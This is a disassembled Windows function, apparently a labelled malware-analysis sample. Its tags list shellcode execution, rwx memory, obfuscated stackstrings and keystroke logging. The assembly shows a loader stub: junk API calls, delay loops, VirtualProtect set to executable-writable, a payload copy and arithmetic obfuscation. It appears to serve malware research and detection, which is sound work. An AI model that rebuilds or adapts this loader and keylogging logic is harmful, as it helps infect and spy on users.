Function at 0x403350
Capabilities:
Allocate or change rwx memory
Connect pipe
Contain obfuscated stackstrings
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get file attributes
Log keystrokes via polling
Read pipe
Write pipe

Disassembly:
mov edx, 0x442180
sub edx, ecx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x403337
ret
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xcd0
cmp dword [0x2aeca24], 0x6a6
jne 0x4033ce
call dword [sym.imp.USER32.dll_CountClipboardFormats]
mov eax, dword [ebp + 0x6c]
push eax
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetScrollInfo]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push 0
push 0x402be7
push 0x442180
call fcn.00404be5
call fcn.00404b62
push 0
call fcn.00404d3a
push 0
call fcn.00404d0b
push 0
push 0
call fcn.00404d21
add esp, 0x1c
jmp 0x403330
push ebx
push esi
push edi
mov edi, dword [sym.imp.GDI32.dll_GetGlyphIndicesA]
xor esi, esi
lea esp, [esp]
cmp esi, 0x98ec
jge 0x4033f9
push 0
lea ecx, [ebp + 0x74]
push ecx
push 0
push 0x402cd4
push 0
call edi
inc esi
cmp esi, 0x11aba
jl 0x4033e0
mov eax, 0x11b1b
add dword [0x2aeca24], eax
call fcn.00403300
mov eax, dword [0x2aeca24]
mov ecx, dword [0x2ae9930]
lea edx, [ebp + 0x70]
push edx
push 0x40
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, esi
cmp dword [0x2aeca24], esi
jbe 0x403473
mov edi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
jmp 0x403440
mov edx, dword [0x2aed3c4]
mov al, byte [edx + esi + 0x11b1b]
mov ecx, dword [0x2ae9930]
mov byte [ecx + esi], al
cmp dword [0x2aeca24], 0xa8
jne 0x40346a
push 0
push 0
push 0
call edi
inc esi
cmp esi, dword [0x2aeca24]
jb 0x403440
mov esi, dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
mov edi, dword [sym.imp.USER32.dll_MessageBoxIndirectA]
mov ebx, dword [sym.imp.USER32.dll_LoadMenuA]
xor eax, eax
mov dword [ebp + 0x74], eax
lea ebx, [ebx]
mov edx, dword [0x2aeca24]
add edx, eax
cmp edx, 0xe
jne 0x403523
push 0x30
lea eax, [ebp - 0x54]
push 0
push eax
mov dword [ebp - 0x58], 0
call fcn.00408280
add esp, 0xc
push 0
lea ecx, [ebp - 0x58]
push ecx
push 0x402cf8
call esi
push 0
call edi
push 0
push 0
call ebx
push 0
call dword [sym.imp.USER32.dll_GetKeyState]
push 0
lea edx, [ebp - 0x858]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GlobalReAlloc]
push 0
push 0x402d7c
lea eax, [ebp - 0x458]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov eax, dword [ebp + 0x74]
inc eax
cmp eax, 0x4f95a3
mov dword [ebp + 0x74], eax
jl 0x403490
mov edi, dword [sym.imp.USER32.dll_GetMenuInfo]
mov esi, 0x4f4
lea ecx, [ecx]
push 0
push 0
call edi
sub esi, 1
jne 0x403540
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp esi, 0x26c0e8
jge 0x40386b
mov dword [ebp + 0x10], 0x117e6468
mov dword [ebp + 0x28], 0x5ffc7842
mov dword [ebp + 0x68], 0x47a693b8
mov dword [ebp + 0x30], 0x2968d501
mov dword [ebp - 0x18], 0x3b97d7ad
mov dword [ebp - 0x14], 0x1cdbd5a0
mov dword [ebp - 0x1c], 0x48332d38
mov dword [ebp], 0x440c2a2d
mov dword [ebp + 0x38], 0x12e9fd10
mov dword [ebp + 0x14], 0xf744b0e
mov dword [ebp + 0x20], 0xa9960a7
mov dword [ebp + 0x5c], 0x2f799e6c
mov dword [ebp + 0x44], 0x7847afe5
mov dword [ebp + 0xc], 0x4e4c16e5
mov dword [ebp + 0x50], 0x4b60bfcf
mov dword [ebp - 8], 0x11cf24ee
mov dword [ebp - 4], 0x100b136a
mov dword [ebp - 0x24], 0x16a8c798
mov dword [ebp + 0x54], 0x41990087
mov dword [ebp - 0x10], 0x1a8d2583
mov dword [ebp + 0x34], 0x4be5576
mov dword [ebp + 0x4c], 0x20b6f116
mov dword [ebp - 0xc], 0x1a4811b8
mov dword [ebp + 0x24], 0x48322249
mov dword [ebp + 0x2c], 0x1cbc86b9
mov dword [ebp + 0x58], 0x197f1790
mov dword [ebp + 8], 0x349917ff
mov dword [ebp + 0x60], 0x5038bf9
mov dword [ebp + 0x6c], 0x15607940
mov dword [ebp + 0x18], 0x4350bc8e
mov dword [ebp + 4], 0x17fe5556
mov dword [ebp + 0x74], 0x642ba827
mov dword [ebp + 0x64], 0x43e7302b
mov dword [ebp + 0x1c], 0x2e87bca9
mov dword [ebp + 0x40], 0x5ac3e20
mov dword [ebp + 0x3c], 0x45663a5
mov dword [ebp + 0x48], 0x4f04dee8
mov dword [ebp - 0x20], 0x4de238b9
mov eax, 0x7b98fd8e
mul dword [ebp + 0x10]
mov eax, dword [ebp + 0x10]
sub dword [ebp + 0x68], 0x6558cd47
add dword [ebp + 0x68], 0x694ee64c
add dword [ebp + 0x28], 0x737efafa
mov eax, 0x699f0bc7
mul dword [ebp + 0x28]
mov eax, dword [ebp + 0x28]
mov eax, 0x7083fff5
mul dword [ebp + 0x28]
mov eax, dword [ebp + 0x28]
add dword [ebp + 0x30], 0x3f105651
mov eax, 0x58bdf4a2
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, 0x1496ce22
mul dword [ebp + 0x68]
mov eax, dword [ebp + 0x68]
sub dword [ebp + 0x68], 0x35556f81
mov eax, 0x41c2f159
mul dword [ebp + 0x68]
mov eax, dword [ebp + 0x68]
mov eax, 0x3ea4b095
mul dword [ebp + 0x68]
mov eax, dword [ebp + 0x68]
sub dword [ebp + 0x28], 0x5f1bc896
mov eax, 0x63fcad3b
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
sub dword [ebp - 0x1c], 0x6c0a8592
add dword [ebp + 0x10], 0x52d9bd7
mov eax, 0x5362c5c9
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x14], 0x74d4a7ac
sub dword [ebp - 0x1c], 0x6b9ab333
sub dword [ebp + 0x20], 0x30cec4cc
sub dword [ebp - 0x1c], 0x6f4dc03f
sub dword [ebp - 0x18], 0x406511de
sub dword [ebp + 0x20], 0x5256efce
add dword [ebp + 0x5c], 0x9d24a82
add dword [ebp + 0x5c], 0xb55bf10
mov eax, 0x6fadc23
mul dword [ebp + 0x10]
mov eax, dword [ebp + 0x10]
sub dword [ebp + 0x5c], 0x2107bccb
mov eax, 0x43a1127f
mul dword [ebp + 0x28]
mov eax, dword [ebp + 0x28]
add dword [ebp + 0x14], 0x23f95553
mov eax, 0xfa50777
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, 0x982e1f9
mul dword [ebp + 0x68]
mov eax, dword [ebp + 0x68]
add dword [ebp + 0x28], 0x6ff007ed
sub dword [ebp + 0xc], 0x2ca9ae19
add dword [ebp + 0x68], 0x2e67b4f9
add dword [ebp + 0x14], 0x1ae532f6
add dword [ebp + 0x20], 0x1b1cddec
add dword [ebp + 0x50], 0x1843194b
sub dword [ebp + 0x14], 0x4d0fd6ca
add dword [ebp + 0x54], 0x4c19438c
add dword [ebp - 0x14], 0x7555adb0
add dword [ebp + 0x34], 0x6e7262a2
mov eax, 0x226d3295
mul dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add dword [ebp + 0x24], 0x7d1e9162
mov eax, 0x27578fe4
mul dword [ebp + 0x38]
mov eax, dword [ebp + 0x38]
mov eax, 0x2f90f5f3
mul dword [ebp + 0x38]
mov eax, dword [ebp + 0x38]
sub dword [ebp - 0x24], 0x6b09171
sub dword [ebp + 0x5c], 0x6c846b8d
sub dword [ebp + 0xc], 0x2e2cab03
add dword [ebp + 0x2c], 0x19526782
add dword [ebp + 0x4c], 0x2cd8acc0
sub dword [ebp + 4], 0x47be2084
add dword [ebp - 0x10], 0x6e73a756
sub dword [ebp + 0x20], 0x4243819d
mov eax, 0x6583975
mul dword [ebp + 8]
mov eax, dword [ebp + 8]
add dword [ebp + 0x74], 0x1465568b
mov eax, 0x3df9edd8
mul dword [ebp + 0x74]
mov eax, dword [ebp + 0x74]
add dword [ebp + 8], 0x44e853d4
sub dword [ebp + 0x58], 0x702bf432
mov eax, 0x61576f3a
mul dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
sub dword [ebp - 0x1c], 0x3dac3a17
sub dword [ebp - 0x18], 0x4f1fdc5c
mov eax, 0x76077062
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp esi, 0x2735c9
jg 0x403880
inc esi
cmp esi, 0x15a24e60
jl 0x403551
call fcn.00403290
call fcn.004032e0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
mov ebx, dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
mov dword [ebp + 0x74], 0x7b
cmp dword [0x2aeca24], 0x86
jne 0x4038d1
push 0x402d90
call esi
push 0
lea ecx, [ebp + 0x6c]
push ecx
push 0
lea edx, [ebp - 0x458]
push edx
push 0
push 0
push 0
call edi
push 0
call ebx
sub dword [ebp + 0x74], 1
jne 0x4038a3
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov edi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProfileIntW]
mov dword [ebp + 0x74], 0x180ef
cmp dword [0x2aeca24], 0x1f
jne 0x403959
push 0
lea eax, [ebp + 0x6c]
push eax
push 0
push 0
push 0
call esi
push 0
push 0
call edi
push 0
push 0x402db8
push 0x402dc4
call ebx
lea ecx, [ebp - 0x58]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
push 0
call dword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
push 0
push 0
lea edx, [ebp - 0xc58]
push edx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push 0
lea eax, [ebp - 0x458]
push eax
push 0
call dword [sym.imp.KERNEL32.dll__hread]
sub dword [ebp + 0x74], 1
jne 0x4038f0
call fcn.00402fb0
call fcn.00403320
pop edi
pop esi
pop ebx
add ebp, 0x78
mov esp, ebp
pop ebp
ret